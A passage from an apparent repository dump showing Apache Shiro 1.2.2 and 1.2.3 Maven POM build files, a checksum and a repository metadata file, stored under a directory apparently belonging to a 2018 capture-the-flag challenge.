<junit.version>4.8.2</junit.version>\n\n    </properties>\n\n    <mailingLists>\n        <mailingList>\n            <name>Apache Shiro Users Mailing List</name>\n            <subscribe>user-subscribe@shiro.apache.org</subscribe>\n            <unsubscribe>user-unsubscribe@shiro.apache.org</unsubscribe>\n            <post>user@shiro.apache.org</post>\n            <!--archive/-->\n            <!--otherArchives-->\n        </mailingList>\n        <mailingList>\n            <name>Apache Shiro Developers Mailing List</name>\n            <subscribe>dev-subscribe@shiro.apache.org</subscribe>\n            <unsubscribe>dev-unsubscribe@shiro.apache.org</unsubscribe>\n            <post>dev@shiro.apache.org</post>\n            <!--archive/-->\n            <!--otherArchives-->\n        </mailingList>\n    </mailingLists>\n\n\n    <developers>\n        <developer>\n            <id>aditzel</id>\n            <name>Allan Ditzel</name>\n            <email>aditzel@apache.org</email>\n            <url>http://www.allanditzel.com</url>\n            <organization>Apache Software Foundation</organization>\n            <timezone>-5</timezone>\n        </developer>\n        <developer>\n            <id>jhaile</id>\n            <name>Jeremy Haile</name>\n            <email>jhaile@apache.org</email>\n            <url>http://www.jeremyhaile.com</url>\n            <organization>Mobilization Labs</organization>\n            <organizationUrl>http://www.mobilizationlabs.com</organizationUrl>            \n            <timezone>-5</timezone>\n        </developer>\n        <developer>\n            <id>lhazlewood</id>\n            <name>Les Hazlewood</name>\n            <email>lhazlewood@apache.org</email>\n            <url>http://www.leshazlewood.com</url>\n            <organization>Katasoft</organization>\n            <organizationUrl>http://www.katasoft.com</organizationUrl>\n            <timezone>-8</timezone>\n        </developer>\n        <developer>\n            <id>kaosko</id>\n            <name>Kalle Korhonen</name>\n            <email>kaosko@apache.org</email>\n            <url>http://tynamo.org</url>\n            <organization>Apache Software Foundation</organization>\n            <timezone>-8</timezone>\n        </developer>\n        <developer>\n            <id>pledbrook</id>\n            <name>Peter Ledbrook</name>\n            <email>p.ledbrook@cacoethes.co.uk</email>\n            <url>http://www.cacoethes.co.uk/blog/</url>\n            <organization>SpringSource</organization>\n            <organizationUrl>http://www.springsource.com/</organizationUrl>\n            <timezone>0</timezone>\n        </developer>\n        <developer>\n            <id>tveil</id>\n            <name>Tim Veil</name>\n            <email>tveil@apache.org</email>\n        </developer>\n        <developer>\n            <id>bdemers</id>\n            <name>Brian Demers</name>\n            <email>bdemers@apache.org</email>\n            <url>http://about.me/brian.demers</url>\n            <organization>Sonatype</organization>\n            <organizationUrl>http://www.sonatype.com/</organizationUrl>\n            <timezone>-5</timezone>\n        </developer>\n        <developer>\n            <id>jbunting</id>\n            <name>Jared Bunting</name>\n            <email>jbunting@apache.org</email>\n            <organization>Apache Software Foundation</organization>\n            <timezone>-6</timezone>\n        </developer>\n    </developers>\n\n    <modules>\n        <module>core</module>\n        <module>web</module>\n        <module>support</module>\n        <module>samples</module>\n        <module>tools</module>\n        <module>all</module>\n    </modules>\n\n    <build>\n        <pluginManagement>\n            <plugins>\n                <plugin>\n                    <groupId>org.apache.felix</groupId>\n                    <artifactId>maven-bundle-plugin</artifactId>\n                    <version>2.1.0</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-gpg-plugin</artifactId>\n                    <version>1.1</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-site-plugin</artifactId>\n                    <version>3.1</version>\n                    <dependencies>\n                        <dependency>\n                            <groupId>org.apache.maven.wagon</groupId>\n                            <artifactId>wagon-ssh</artifactId>\n                            <version>2.2</version>\n                        </dependency>\n                    </dependencies>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.rat</groupId>\n                    <artifactId>apache-rat-plugin</artifactId>\n                    <version>0.8</version>\n                    <configuration>\n                    \t\t<!-- note that this configuration needs to be maintain both in pluginManagement and reporting sections -->\n                        <excludes>\n                            <exclude>**/.externalToolBuilders/*</exclude>\n                            <exclude>**/infinitest.filters</exclude>\n                            <!-- Apparently some test in samples/spring-client generates velocity log - would better to reconfigure to output to target/ -->\n                            <exclude>velocity.log</exclude>\n                        </excludes>\n                    </configuration>\n                </plugin>\n                <plugin>\n                    <groupId>org.codehaus.mojo</groupId>\n                    <artifactId>versions-maven-plugin</artifactId>\n                    <version>1.2</version>\n                </plugin>\n                <!-- Allow writing tests in Groovy: -->\n                <plugin>\n                    <groupId>org.codehaus.gmaven</groupId>\n                    <artifactId>gmaven-plugin</artifactId>\n                    <version>${gmaven.version}</version>\n                    <configuration>\n                        <providerSelection>1.7</providerSelection>\n                        <source>src/main/groovy</source>\n                    </configuration>\n                    <dependencies>\n                        <dependency>\n                            <groupId>org.codehaus.gmaven.runtime</groupId>\n                            <artifactId>gmaven-runtime-1.7</artifactId>\n                            <version>${gmaven.version}</version>\n                            <exclusions>\n                                <exclusion>\n                                    <groupId>org.codehaus.groovy</groupId>\n                                    <artifactId>groovy-all</artifactId>\n                                </exclusion>\n                            </exclusions>\n                        </dependency>\n                        <dependency>\n                            <groupId>org.codehaus.groovy</groupId>\n                            <artifactId>groovy-all</artifactId>\n                            <version>${groovy.version}</version>\n                        </dependency>\n                    </dependencies>\n                </plugin>\n                <!--This plugin's configuration is used to store Eclipse m2e settings only. It has no influence on the Maven build itself.-->\n                <plugin>\n                \t<groupId>org.eclipse.m2e</groupId>\n                \t<artifactId>lifecycle-mapping</artifactId>\n                \t<version>1.0.0</version>\n                \t<configuration>\n                \t\t<lifecycleMappingMetadata>\n                \t\t\t<pluginExecutions>\n                \t\t\t\t<pluginExecution>\n                \t\t\t\t\t<pluginExecutionFilter>\n                \t\t\t\t\t\t<groupId>\n                \t\t\t\t\t\t\torg.codehaus.mojo\n                \t\t\t\t\t\t</groupId>\n                \t\t\t\t\t\t<artifactId>\n                \t\t\t\t\t\t\taspectj-maven-plugin\n                \t\t\t\t\t\t</artifactId>\n                \t\t\t\t\t\t<versionRange>\n                \t\t\t\t\t\t\t[1.3,)\n                \t\t\t\t\t\t</versionRange>\n                \t\t\t\t\t\t<goals>\n                \t\t\t\t\t\t\t<goal>test-compile</goal>\n                \t\t\t\t\t\t\t<goal>compile</goal>\n                \t\t\t\t\t\t</goals>\n                \t\t\t\t\t</pluginExecutionFilter>\n                \t\t\t\t\t<action>\n                \t\t\t\t\t\t<ignore />\n                \t\t\t\t\t</action>\n                \t\t\t\t</pluginExecution>\n                \t\t\t\t<pluginExecution>\n                \t\t\t\t\t<pluginExecutionFilter>\n                \t\t\t\t\t\t<groupId>\n                \t\t\t\t\t\t\torg.apache.maven.plugins\n                \t\t\t\t\t\t</groupId>\n                \t\t\t\t\t\t<artifactId>\n                \t\t\t\t\t\t\tmaven-antrun-plugin\n                \t\t\t\t\t\t</artifactId>\n                \t\t\t\t\t\t<versionRange>\n                \t\t\t\t\t\t\t[1.3,)\n                \t\t\t\t\t\t</versionRange>\n                \t\t\t\t\t\t<goals>\n                \t\t\t\t\t\t\t<goal>run</goal>\n                \t\t\t\t\t\t</goals>\n                \t\t\t\t\t</pluginExecutionFilter>\n                \t\t\t\t\t<action>\n                \t\t\t\t\t\t<ignore />\n                \t\t\t\t\t</action>\n                \t\t\t\t</pluginExecution>\n                \t\t\t\t<pluginExecution>\n                \t\t\t\t\t<pluginExecutionFilter>\n                \t\t\t\t\t\t<groupId>\n                \t\t\t\t\t\t\torg.codehaus.mojo\n                \t\t\t\t\t\t</groupId>\n                \t\t\t\t\t\t<artifactId>\n                \t\t\t\t\t\t\tdependency-maven-plugin\n                \t\t\t\t\t\t</artifactId>\n                \t\t\t\t\t\t<versionRange>\n                \t\t\t\t\t\t\t[1.0,)\n                \t\t\t\t\t\t</versionRange>\n                \t\t\t\t\t\t<goals>\n                \t\t\t\t\t\t\t<goal>unpack</goal>\n                \t\t\t\t\t\t</goals>\n                \t\t\t\t\t</pluginExecutionFilter>\n                \t\t\t\t\t<action>\n                \t\t\t\t\t\t<ignore />\n                \t\t\t\t\t</action>\n                \t\t\t\t</pluginExecution>\n                \t\t\t</pluginExecutions>\n                \t\t</lifecycleMappingMetadata>\n                \t</configuration>\n                </plugin>\n                <plugin>\n                    <groupId>org.codehaus.mojo</groupId>\n                    <artifactId>build-helper-maven-plugin</artifactId>\n                    <version>1.7</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.codehaus.mojo</groupId>\n                    <artifactId>dependency-maven-plugin</artifactId>\n                    <version>1.0</version>\n                </plugin>\n            </plugins>\n        </pluginManagement>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.rat</groupId>\n                <artifactId>apache-rat-plugin</artifactId>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>2.0.2</version>\n                <configuration>\n                    <source>${jdk.version}</source>\n                    <target>${jdk.version}</target>\n                    <encoding>${project.build.sourceEncoding}</encoding>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.12</version>\n                <configuration>\n                    <printSummary>true</printSummary>\n                </configuration>\n            </plugin>\n            <!-- Allow Groovy tests to run: -->\n            <plugin>\n                <groupId>org.codehaus.gmaven</groupId>\n                <artifactId>gmaven-plugin</artifactId>\n                <version>${gmaven.version}</version>\n                <executions>\n                    <execution>\n                        <goals>\n                            <goal>compile</goal>\n                            <goal>testCompile</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <!-- Add SVN Revision To A JAR Manifest\n                     - http://maven.apache.org/plugin-developers/cookbook/add-svn-revision-to-manifest.html\n                -->\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>buildnumber-maven-plugin</artifactId>\n                <version>1.0-beta-4</version>\n                <executions>\n                    <execution>\n                        <phase>validate</phase>\n                        <goals>\n                            <goal>create</goal>\n                        </goals>\n                    </execution>\n                </executions>\n                <configuration>\n                    <doCheck>false</doCheck>\n                    <doUpdate>false</doUpdate>\n                    <revisionOnScmFailure>${project.version}</revisionOnScmFailure>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-jar-plugin</artifactId>\n                <version>2.3.1</version>\n                <configuration>\n                    <archive>\n                        <manifest>\n                            <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                            <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                        </manifest>\n                        <manifestEntries>\n                            <SCM-Revision>${buildNumber}</SCM-Revision>\n                            <SCM-url>${project.scm.url}</SCM-url>\n                        </manifestEntries>\n                    </archive>\n                </configuration>\n            </plugin>\n\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-release-plugin</artifactId>\n                <configuration>\n                    <!-- \"install\" needed because we have interrelated dependencies between the modules and we are releasing them all the same - especially consider shiro-all -->\n                    <preparationGoals>clean apache-rat:check install</preparationGoals>\n                    <autoVersionSubmodules>true</autoVersionSubmodules>\n                    <!-- This configuration copied from apache:apache:7 parent pom -->\n                    <useReleaseProfile>false</useReleaseProfile>\n                    <goals>deploy site-deploy</goals>\n                    <arguments>-Pdocs,apache-release</arguments>\n                    <mavenExecutorId>forked-path</mavenExecutorId>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n    <dependencies>\n        <!-- Automatically inherited dependencies.  The only ones that should be in here\n             are test dependencies.  Actual compile or runtime dependencies should be\n             explicitly declared in a child module, referencing the dependency defined\n             in this file's <dependencyManagement> section. -->\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>${junit.version}</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.easymock</groupId>\n            <artifactId>easymock</artifactId>\n            <version>${easymock.version}</version>\n            <scope>test</scope>\n        </dependency>\n        <!-- Writing tests in groovy is fast!: -->\n        <dependency>\n            <groupId>org.codehaus.groovy</groupId>\n            <artifactId>groovy-all</artifactId>\n            <version>${groovy.version}</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <dependencyManagement>\n        <dependencies>\n            <!-- Intra project dependencies -->\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-core</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-web</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-ehcache</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-quartz</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-spring</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-guice</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-aspectj</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-all</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.shiro.samples</groupId>\n                <artifactId>samples-spring-client</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n\n            <!-- Intra project test dependencies: -->\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-core</artifactId>\n                <version>${project.version}</version>\n                <type>test-jar</type>\n                <scope>test</scope>\n            </dependency>\n\n            <!-- 3rd party dependencies -->\n            <dependency>\n                <!-- used for the 'hasher' command line tool: -->\n                <groupId>commons-cli</groupId>\n                <artifactId>commons-cli</artifactId>\n                <version>${commons.cli.version}</version>\n            </dependency>\n            <dependency>\n                <!-- runtime dependency for the shiro-cas module: -->\n                <groupId>commons-codec</groupId>\n                <artifactId>commons-codec</artifactId>\n                <version>${commons.codec.version}</version>\n                <scope>runtime</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.aspectj</groupId>\n                <artifactId>aspectjrt</artifactId>\n                <version>${aspectj.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.aspectj</groupId>\n                <artifactId>aspectjweaver</artifactId>\n                <version>${aspectj.version}</version>\n            </dependency>\n            <dependency>\n                <!-- Used for Atlassian Crowd Realm - not required for the framework: -->\n                <groupId>com.atlassian.crowd</groupId>\n                <artifactId>crowd-integration-client</artifactId>\n                <version>${crowd.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.slf4j</groupId>\n                <artifactId>slf4j-api</artifactId>\n                <version>${slf4j.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.slf4j</groupId>\n                <artifactId>slf4j-simple</artifactId>\n                <version>${slf4j.version}</version>\n                <scope>test</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.slf4j</groupId>\n                <artifactId>slf4j-log4j12</artifactId>\n                <version>${slf4j.version}</version>\n                <scope>test</scope>\n            </dependency>\n            <dependency>\n                <!-- Required in the sample apps only for 3rd-party libraries that expect to call\n                     the commons logging APIs -->\n                <groupId>org.slf4j</groupId>\n                <artifactId>jcl-over-slf4j</artifactId>\n                <version>${slf4j.version}</version>\n                <scope>test</scope>\n            </dependency>\n            <dependency>\n                <groupId>commons-beanutils</groupId>\n                <artifactId>commons-beanutils</artifactId>\n                <version>1.8.3</version>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <dependency>\n                <groupId>hsqldb</groupId>\n                <artifactId>hsqldb</artifactId>\n                <version>${hsqldb.version}</version>\n                <scope>runtime</scope>\n                <optional>true</optional>\n            </dependency>\n            <dependency>\n                <groupId>javax.servlet.jsp</groupId>\n                <artifactId>jsp-api</artifactId>\n                <version>2.1</version>\n                <scope>provided</scope>\n            </dependency>\n            <dependency>\n                <groupId>javax.servlet</groupId>\n                <artifactId>jstl</artifactId>\n                <version>1.1.2</version>\n                <scope>provided</scope>\n            </dependency>\n            <dependency>\n                <groupId>javax.servlet</groupId>\n                <artifactId>servlet-api</artifactId>\n                <version>2.5</version>\n                <scope>provided</scope>\n            </dependency>\n            <dependency>\n                <groupId>log4j</groupId>\n                <artifactId>log4j</artifactId>\n                <version>1.2.16</version>\n                <scope>test</scope>\n                <exclusions>\n                    <exclusion>\n                        <groupId>javax.mail</groupId>\n                        <artifactId>mail</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>javax.jms</groupId>\n                        <artifactId>jms</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>com.sun.jdmk</groupId>\n                        <artifactId>jmxtools</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>com.sun.jmx</groupId>\n                        <artifactId>jmxri</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <dependency>\n                <groupId>org.codehaus.groovy</groupId>\n                <artifactId>groovy-all</artifactId>\n                <version>${groovy.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>net.sf.ehcache</groupId>\n                <artifactId>ehcache-core</artifactId>\n                <version>${ehcache.version}</version>\n                <optional>true</optional>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <dependency>\n                <!-- Used for sample applications only - not required for the framework: -->\n                <groupId>org.hibernate</groupId>\n                <artifactId>hibernate</artifactId>\n                <version>3.2.6.ga</version>\n                <optional>true</optional>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>ant</groupId>\n                        <artifactId>ant</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <!--suppress MavenModelInspection -->\n                        <groupId>ant-launcher</groupId>\n                        <!--suppress MavenModelInspection -->\n                        <artifactId>ant-launcher</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>c3p0</groupId>\n                        <artifactId>c3p0</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <!--suppress MavenModelInspection -->\n                        <groupId>javax.security</groupId>\n                        <!--suppress MavenModelInspection -->\n                        <artifactId>jacc</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>javax.servlet</groupId>\n                        <artifactId>servlet-api</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>jboss</groupId>\n                        <!--suppress MavenModelInspection -->\n                        <artifactId>jboss-cache</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>net.sf.ehcache</groupId>\n                        <artifactId>ehcache</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>asm</groupId>\n                        <!--suppress MavenModelInspection -->\n                        <artifactId>asm-attrs</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>javax.transaction</groupId>\n                        <artifactId>jta</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <!-- Used to support Hibernate's JTA runtime dependency in the sample application(s) only.\n                 Not required for Shiro -->\n            <dependency>\n                <groupId>org.apache.geronimo.specs</groupId>\n                <artifactId>geronimo-jta_1.1_spec</artifactId>\n                <version>1.1.1</version>\n                <scope>runtime</scope>\n                <optional>true</optional>\n            </dependency>\n            <dependency>\n                <groupId>org.hibernate</groupId>\n                <artifactId>hibernate-annotations</artifactId>\n                <version>3.2.1.ga</version>\n                <optional>true</optional>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework</groupId>\n                <artifactId>spring-context</artifactId>\n                <version>${spring.version}</version>\n                <optional>true</optional>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework</groupId>\n                <artifactId>spring-jdbc</artifactId>\n                <version>${spring.version}</version>\n                <optional>true</optional>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework</groupId>\n                <artifactId>spring-orm</artifactId>\n                <version>${spring.version}</version>\n                <optional>true</optional>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework</groupId>\n                <artifactId>spring-webmvc</artifactId>\n                <version>${spring.version}</version>\n                <optional>true</optional>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework</groupId>\n                <artifactId>spring-test</artifactId>\n                <version>${spring.version}</version>\n                <scope>test</scope>\n                <optional>true</optional>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <dependency>\n                <groupId>com.google.guava</groupId>\n                <artifactId>guava</artifactId>\n                <version>${guava.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.google.inject</groupId>\n                <artifactId>guice</artifactId>\n                <version>${guice.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.google.inject.extensions</groupId>\n                <artifactId>guice-multibindings</artifactId>\n                <version>${guice.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.google.inject.extensions</groupId>\n                <artifactId>guice-servlet</artifactId>\n                <version>${guice.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.opensymphony.quartz</groupId>\n                <artifactId>quartz</artifactId>\n                <version>${quartz.version}</version>\n                <optional>true</optional>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n    \n    <!-- Note that reporting may fail with lower settings than something like: MAVEN_OPTS=\"-X512m -XX:MaxPermSize=128m\" -->\n    <reporting>\n        <plugins>\n            <plugin>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>2.7</version>\n                <configuration>\n                    <source>${jdk.version}</source>\n                    <encoding>${project.build.sourceEncoding}</encoding>\n                    <linksource>true</linksource>\n                    <links>\n                        <link>http://java.sun.com/javase/6/docs/api/</link>\n                        <link>http://java.sun.com/javaee/5/docs/api/</link>\n                        <link>http://www.slf4j.org/api/</link>\n                        <link>http://static.springframework.org/spring/docs/2.5.x/api/</link>\n                        <link>http://junit.org/junit/javadoc/4.4/</link>\n                        <link>http://easymock.org/api/easymock/2.4</link>\n                        <link>http://www.quartz-scheduler.org/docs/api/1.8.0/</link>\n                    </links>\n                    <!-- Don't include the sample apps - they're not part of Shiro's API: -->\n                    <excludePackageNames>org.apache.shiro.samples.*</excludePackageNames>\n                    <top><![CDATA[\n  <!-- Begin Google Analytics code -->\n  <script type=\"text/javascript\">\n      var _gaq = _gaq || [];\n      _gaq.push(['_setAccount', 'UA-11551827-1']);\n      _gaq.push(['_trackPageview']);\n\n      (function() {\n        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;\n        ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';\n        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);\n      })();\n  </script>\n  <!-- End Google Analytics code -->\n                    ]]></top>\n                </configuration>\n                <reportSets>\n                    <reportSet>\n                        <id>javadoc-aggregate</id>\n                        <reports>\n                            <report>aggregate</report>\n                        </reports>\n                    </reportSet>\n                </reportSets>\n            </plugin>\n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>cobertura-maven-plugin</artifactId>\n                <version>2.4</version>\n                <configuration>\n                    <formats>\n                        <format>xml</format>\n                        <format>html</format>\n                    </formats>\n                </configuration>\n            </plugin>\n            <plugin>\n                <artifactId>maven-jxr-plugin</artifactId>\n                <version>2.1</version>\n                <configuration>\n                    <aggregate>true</aggregate>\n                </configuration>\n            </plugin>\n            <plugin>\n                <artifactId>maven-pmd-plugin</artifactId>\n                <version>2.5</version>\n                <configuration>\n                    <sourceEncoding>utf-8</sourceEncoding>\n                    <targetJdk>1.5</targetJdk>\n                </configuration>\n            </plugin>\n            <plugin>\n                <artifactId>maven-project-info-reports-plugin</artifactId>\n                <version>2.2</version>\n                <!-- Disable, just to make it go faster -->\n                <configuration>\n                    <dependencyLocationsEnabled>false</dependencyLocationsEnabled>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.rat</groupId>\n                <artifactId>apache-rat-plugin</artifactId>\n                <version>0.8</version>\n                <configuration>\n                \t\t<!-- note that this configuration needs to be maintain both in pluginManagement and reporting sections -->\n                    <excludes>\n                        <exclude>**/.externalToolBuilders/*</exclude>\n                        <exclude>**/infinitest.filters</exclude>\n                        <!-- Apparently some test in samples/spring-client generates velocity log - would better to reconfigure to output to target/ -->\n                        <exclude>velocity.log</exclude>\n                    </excludes>\n                </configuration>\n            </plugin>\n            <plugin>\n                <artifactId>maven-surefire-report-plugin</artifactId>\n                <version>2.5</version>\n            </plugin>\n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>taglist-maven-plugin</artifactId>\n                <version>2.4</version>\n                <configuration>\n                    <tagListOptions>\n                        <tagClasses>\n                            <tagClass>\n                                <displayName>Todo Work</displayName>\n                                <tags>\n                                    <tag>\n                                        <matchString>todo</matchString>\n                                        <matchType>ignoreCase</matchType>\n                                    </tag>\n                                    <tag>\n                                        <matchString>FIXME</matchString>\n                                        <matchType>exact</matchType>\n                                    </tag>\n                                </tags>\n                            </tagClass>\n                            <tagClass>\n                                <displayName>Deprecated</displayName>\n                                <tags>\n                                    <tag>\n                                        <matchString>@Deprecated</matchString>\n                                        <matchType>exact</matchType>\n                                    </tag>\n                                </tags>\n                            </tagClass>\n                        </tagClasses>\n                    </tagListOptions>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>jdepend-maven-plugin</artifactId>\n                <version>2.0-beta-2</version>\n            </plugin>\n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>dashboard-maven-plugin</artifactId>\n                <version>1.0.0-beta-1</version>\n            </plugin>\n        </plugins>\n    </reporting>\n\n    <profiles>\n        <profile>\n            <id>docs</id>\n            <build>\n                <plugins>\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-javadoc-plugin</artifactId>\n                        <version>2.7</version>\n                        <executions>\n                            <execution>\n                                <id>attach-api-docs</id>\n                                <goals>\n                                    <goal>jar</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                        <inherited>true</inherited>\n                    </plugin>\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-source-plugin</artifactId>\n                        <version>2.0.4</version>\n                        <executions>\n                            <execution>\n                                <id>attach-sources</id>\n                                <goals>\n                                    <goal>jar</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                        <inherited>true</inherited>\n                    </plugin>\n                </plugins>\n            </build>\n        </profile>\n        <profile>\n            <id>apache-release</id>\n            <distributionManagement>\n                <site>\n                    <id>shiro.website</id>\n                    <name>Apache Shiro Site</name>\n                    <url>scp://people.apache.org/www/shiro.apache.org/static/${project.version}</url>\n                </site>\n            </distributionManagement>\n        </profile>\n    </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-root/1.2.2/shiro-root-1.2.2.pom.sha1",
    "content": "622ce162e9382d602b4887eb47ae2447c91e9045"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-root/1.2.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:39 CST 2018\nshiro-root-1.2.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/shiro/shiro-root/1.2.3/shiro-root-1.2.3.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Licensed to the Apache Software Foundation (ASF) under one\n  ~ or more contributor license agreements.  See the NOTICE file\n  ~ distributed with this work for additional information\n  ~ regarding copyright ownership.  The ASF licenses this file\n  ~ to you under the Apache License, Version 2.0 (the\n  ~ \"License\"); you may not use this file except in compliance\n  ~ with the License.  You may obtain a copy of the License at\n  ~\n  ~     http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing,\n  ~ software distributed under the License is distributed on an\n  ~ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  ~ KIND, either express or implied.  See the License for the\n  ~ specific language governing permissions and limitations\n  ~ under the License.\n  -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <!-- pick up Apache distributionManagement for releasing (snapshots, releases, etc): -->\n    <parent>\n        <groupId>org.apache</groupId>\n        <artifactId>apache</artifactId>\n        <version>7</version>\n    </parent>\n\n    <groupId>org.apache.shiro</groupId>\n    <artifactId>shiro-root</artifactId>\n    <packaging>pom</packaging>\n    <version>1.2.3</version>\n\n    <name>Apache 